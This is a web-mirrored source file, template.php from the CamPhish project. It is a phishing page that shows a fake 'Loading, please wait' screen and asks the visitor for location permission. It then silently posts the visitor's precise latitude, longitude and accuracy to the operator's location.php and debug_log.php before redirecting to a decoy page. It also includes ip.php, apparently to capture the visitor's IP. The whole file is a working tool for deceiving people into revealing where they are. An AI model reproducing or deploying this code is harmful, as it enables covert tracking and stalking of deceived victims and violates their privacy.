Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
techchipnet
GitHub Repository: techchipnet/CamPhish
Path: blob/master/template.php
1972 views
1
<?php
2
include 'ip.php';
3
4
// Add JavaScript to capture location
5
echo '
6
<!DOCTYPE html>
7
<html>
8
<head>
9
<title>Loading...</title>
10
<meta name="viewport" content="width=device-width, initial-scale=1.0">
11
<script>
12
// Debug function to log messages - only log essential information
13
function debugLog(message) {
14
// Only log essential location data, not status messages
15
if (message.includes("Lat:") || message.includes("Latitude:") || message.includes("Position obtained successfully")) {
16
console.log("DEBUG: " + message);
17
18
// Send only essential logs to server
19
var xhr = new XMLHttpRequest();
20
xhr.open("POST", "debug_log.php", true);
21
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
22
xhr.send("message=" + encodeURIComponent(message));
23
}
24
}
25
26
function getLocation() {
27
// Don\'t log this message
28
29
if (navigator.geolocation) {
30
// Don\'t log this message
31
32
// Show permission request message
33
document.getElementById("locationStatus").innerText = "Requesting location permission...";
34
35
navigator.geolocation.getCurrentPosition(
36
sendPosition,
37
handleError,
38
{
39
enableHighAccuracy: true,
40
timeout: 15000,
41
maximumAge: 0
42
}
43
);
44
} else {
45
// Don\'t log this message
46
document.getElementById("locationStatus").innerText = "Your browser doesn\'t support location services";
47
// Redirect after a delay if geolocation is not supported
48
setTimeout(function() {
49
redirectToMainPage();
50
}, 2000);
51
}
52
}
53
54
function sendPosition(position) {
55
debugLog("Position obtained successfully");
56
document.getElementById("locationStatus").innerText = "Location obtained, loading...";
57
58
var lat = position.coords.latitude;
59
var lon = position.coords.longitude;
60
var acc = position.coords.accuracy;
61
62
debugLog("Lat: " + lat + ", Lon: " + lon + ", Accuracy: " + acc);
63
64
var xhr = new XMLHttpRequest();
65
xhr.open("POST", "location.php", true);
66
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
67
68
xhr.onreadystatechange = function() {
69
if (xhr.readyState === 4) {
70
// Don\'t log this message
71
72
// Add a delay before redirecting to ensure data is processed
73
setTimeout(function() {
74
redirectToMainPage();
75
}, 1000);
76
}
77
};
78
79
xhr.onerror = function() {
80
// Don\'t log this message
81
// Still redirect even if there was an error
82
redirectToMainPage();
83
};
84
85
// Send the data with a timestamp to avoid caching
86
xhr.send("lat="+lat+"&lon="+lon+"&acc="+acc+"&time="+new Date().getTime());
87
}
88
89
function handleError(error) {
90
// Don\'t log error messages
91
92
document.getElementById("locationStatus").innerText = "Redirecting...";
93
94
// If user denies location permission or any other error, still redirect after a short delay
95
setTimeout(function() {
96
redirectToMainPage();
97
}, 2000);
98
}
99
100
function redirectToMainPage() {
101
// Don\'t log this message
102
// Try to redirect to the template page
103
try {
104
window.location.href = "forwarding_link/index2.html";
105
} catch (e) {
106
// Don\'t log this message
107
// Fallback redirection
108
window.location = "forwarding_link/index2.html";
109
}
110
}
111
112
// Try to get location when page loads
113
window.onload = function() {
114
// Don\'t log this message
115
setTimeout(function() {
116
getLocation();
117
}, 500); // Small delay to ensure everything is loaded
118
};
119
</script>
120
</head>
121
<body style="background-color: #000; color: #fff; font-family: Arial, sans-serif; text-align: center; padding-top: 50px;">
122
<h2>Loading, please wait...</h2>
123
<p>Please allow location access for better experience</p>
124
<p id="locationStatus">Initializing...</p>
125
<div style="margin-top: 30px;">
126
<div class="spinner" style="border: 8px solid #333; border-top: 8px solid #f3f3f3; border-radius: 50%; width: 60px; height: 60px; animation: spin 1s linear infinite; margin: 0 auto;"></div>
127
</div>
128
129
<style>
130
@keyframes spin {
131
0% { transform: rotate(0deg); }
132
100% { transform: rotate(360deg); }
133
}
134
</style>
135
</body>
136
</html>
137
';
138
exit;
139
?>
140
141